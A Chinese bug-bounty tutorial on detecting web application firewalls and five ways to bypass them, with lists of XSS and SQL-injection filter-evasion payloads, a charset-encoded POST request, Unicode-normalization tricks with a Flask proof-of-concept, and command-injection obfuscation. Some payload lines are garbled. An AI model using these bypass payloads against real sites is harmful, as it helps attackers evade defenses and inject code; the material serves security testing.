干货｜挖掘赏金漏洞中，绕过WAF的常用5种方式

发布于

漏洞挖掘中，绕过WAF的5种方式

简介

WAF是一种用于过滤和阻止恶意网络流量的网络安全解决方案。国外网站常见的供应商包括CloudFlare、AWS、Citrix、Akamai、Radware、Microsoft Azure和Barracuda。

根据防火墙使用的机制组合，绕过方法可能会有所不同。

例如，WAF可能会使用正则表达式来检测恶意流量。正则表达式用于检测字符串中的模式。

WAF还可以采用基于签名的检测，其中已知的恶意字符串被赋予存储在数据库中的签名，防火墙将根据数据库的内容检查网络流量的签名。

如果有匹配，网络将被封锁。此外，一些防火墙使用基于启发式检测。

识别WAF

如前所述，WAF通常会阻止公开的恶意流量。为了触发防火墙并验证其存在，可以向网络应用程序发出HTTP请求，在URL中加入恶意查询，如https://example.com/?p4yl04d3=。

对于正在访问的网页，HTTP响应可能与预期的不同。WAF可能会返回它自己的网页，如下图所示，或一个不同的状态代码，通常在400左右。

手动识别

通过Web代理、cURL或浏览器DevTools的“网络”选项卡，可以检测到防火墙的其他指示：

Server header中WAF的名称（例如Server: cloudflare）

与WAF关联的其他HTTP响应头（例如CF-RAY: xxxxxxxxxxx）

似乎由WAF设置的Cookie（例如响应头Set-Cookie: __cfduid=xxxxx）

提交恶意请求时的唯一响应代码。（例如412）

除了制作恶意查询和评估响应外，还可以通过向服务器发送FIN/RST TCP数据包或实施侧面通道攻击来检测防火墙。例如，防火墙针对不同payload的时间可以提示正在使用的WAF。

自动识别工具

1.运行Nmap扫描

Nmap脚本引擎（NSE）包括用于检测和指纹防火墙的脚本。这些脚本可以在下面看到。

代码语言：javascript
复制
$ nmap --script=http-waf-fingerprint,http-waf-detect -p443 example.com
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-29 21:43 PDT
Nmap scan report for example.com (xxx.xxx.xxx.xxx)
Host is up (0.20s latency).

PORT    STATE SERVICE

443/tcp open  https

| http-waf-detect: IDS/IPS/WAF detected:

|_example.com:443/?p4yl04d3=<script>alert(document.cookie)</script>


Nmap done: 1 IP address (1 host up) scanned in 8.81 seconds

2.WafW00f

Wafw00f是一个命令行实用程序，可将通常标记的payload发送到给定的域名，并评估Web服务器的响应，以尽可能检测和识别防火墙。

代码语言：javascript
复制
$ wafw00f example.com

3.WhatWaf

除了检测防火墙外，WhatWaf还可以通过使用篡改脚本和评估Web服务器对各种有效负载的响应来尝试发现旁路。

WhatWaf的结果与Wafw00f的结果一致。

绕过WAF的5种方式

本节将用示例概述一些潜在的WAFBypass技术。

1.绕过Regex

此方法适用于WAF和Web服务器完成的正则表达式过滤。在黑盒渗透测试中，查找WAF使用的正则表达式可能不是一个选项。

Commmon旁路包括更改payload的情况，使用各种编码，替换函数或字符，使用替代语法，以及使用换行符或制表符。

以下示例演示了一些绕过正则表达式和注释的方法。

代码语言：javascript
复制
<sCrIpT>alert(XSS)</sCriPt> #更改标签大小写

<<script>alert(XSS)</script> #prepending an additional "<"

<script>alert(XSS) // #删除关闭标签

<script>alertXSS</script> #using backticks instead of parenetheses

java%0ascript:alert(1) #使用编码的换行字符

<iframe src=http://malicous.com < #double 打开角度括号

<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags

<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected

<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaaaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters

混淆技术

虽然混淆是绕过正则表达式的一种可能方式，但它们被划分为不同的部分，以更专门地展示混淆技术的选择。

代码语言：javascript
复制
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt

javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding

<iframe src="javascript:alert(xss)"> #unicode 编码

/？id=1+un/**/ion+sel/**/ect+1,2,3-- #在SQL查询中使用注释来分解语句

new Functionalt\6`; #using backticks 而不是括号 data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 编码javascript %26%2397;lert(1) #使用HTML编码 &lt;a src=&#34;%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)&#34;&gt; #使用线路馈线（LF）换行符 &lt;BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^=confirm()> # 在事件处理程序和等号之间使用任何不是字母、数字或封装字符的字符（仅适用于Gecko引擎）

更多payload：

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads

2.字符集

该技术涉及修改Content-Type标头以使用不同的字符集（例如ibm500）。未配置为检测不同编码的恶意payload的WAF可能无法识别该请求为恶意。字符集编码可以用Python完成

代码语言：javascript
复制
$ python3

-- snip --

>>> import urllib.parse

>>> s = '<script>alert("xss")</script>'

>>> urllib.parse.quote_plus(s.encode("IBM037"))

'L%A2%83%99%89%97%A3n%81%93%85%99%A3M%7F%A7%A2%A2%7F%5DLa%A2%83%99%89%97%A3n'

然后，编码的字符串可以在请求正文中发送并上传到服务器。

代码语言：javascript
复制
POST /comment/post HTTP/1.1

Host: chatapp

Content-Type: application/x-www-form-urlencoded; charset=ibm500

Content-Length: 74


%A2%83%99%89%97%A3n%81%93%85%99%A3M%7F%A7%A2%A2%7F%5DLa%A2%83%99%89%97%A3

3.内容大小

在一些基于云的WAF中，如果payload超过一定大小，则不会检查请求。在这些情况下，可以通过增加请求主体或URL的大小来绕过防火墙。

4.Unicode兼容性

Unicode兼容性是一个概念，它描述了将视觉上不同的字符分解为相同的基本抽象字符。这是一种Unicode等价的形式。

例如，字符/(U+FF0F)和/(U+002F)是不同的，但在某些情况下，它们将具有相同的含义。共享含义允许字符相互兼容，这意味着尽管一开始是不同的字符，但它们都可以转换为标准的正斜杠字符/（U+002F）。

深入挖掘，/(U+FF0F)和/(U+002F)最终是否会成为相同的正斜杠字符，取决于网络服务器对它们进行规范化或翻译的方式。

字符通常通过四种标准Unicode标准化算法之一进行标准化：

  • NFC：标准化形式规范组成
  • NFD：标准化形式规范分解
  • NFKC：标准化表单兼容性组成
  • NFKD：标准化表单兼容性分解

特别是NFKC和NFKD将根据兼容性分解字符，这与NFC和NFD不同（详情请参阅此处https://www.unicode.org/reports/tr15/）。

这意味着，在Web服务器上，用户输入首先被清理，然后使用NFKC或NFKD进行归一化，意外的兼容字符可以绕过WAF，并在后端作为其规范等价物执行。

这是WAF不期望与Unicode兼容的字符的结果。

Jorge Lahara在下面的PoC网络服务器中演示了这一点。

代码语言：javascript
复制
from flask import Flask, abort, request

import unicodedata

from waf import waf


app = Flask(name)


@app.route('/')

def Welcome_name():

name = request.args.get('name')


if waf(name):

abort(403, description="XSS Detected")

else:

name = unicodedata.normalize('NFKD', name) #NFC, NFKC, NFD, and NFKD

return 'Test XSS: ' + name


if name == 'main':

app.run(port=81)

如果防火墙可能检测到<＜img src=p onerror='prompt(1)'>的inial payload，则使用Unicode兼容字符（<＜img src⁼p onerror⁼＇prompt⁽1⁾＇﹥）构建的payload将保持未检测到。

在清理输入后对其进行规范化的Web服务器可能容易通过Unicode兼容性绕过WAF。

5.未初始化的变量

潜在的方法是在您的请求中使用未初始化的变量（例如$u），如本文所示。这在命令执行场景中是可能的，因为Bash将未初始化的变量视为空字符串。当将空字符串与命令执行payload连接时，结果最终成为命令执行payload。

当在易受命令注入的系统中时，在payload中插入未初始化的变量可以作为一种混淆形式，绕过防火墙。

#防火墙#编码#服务器#兼容性#漏洞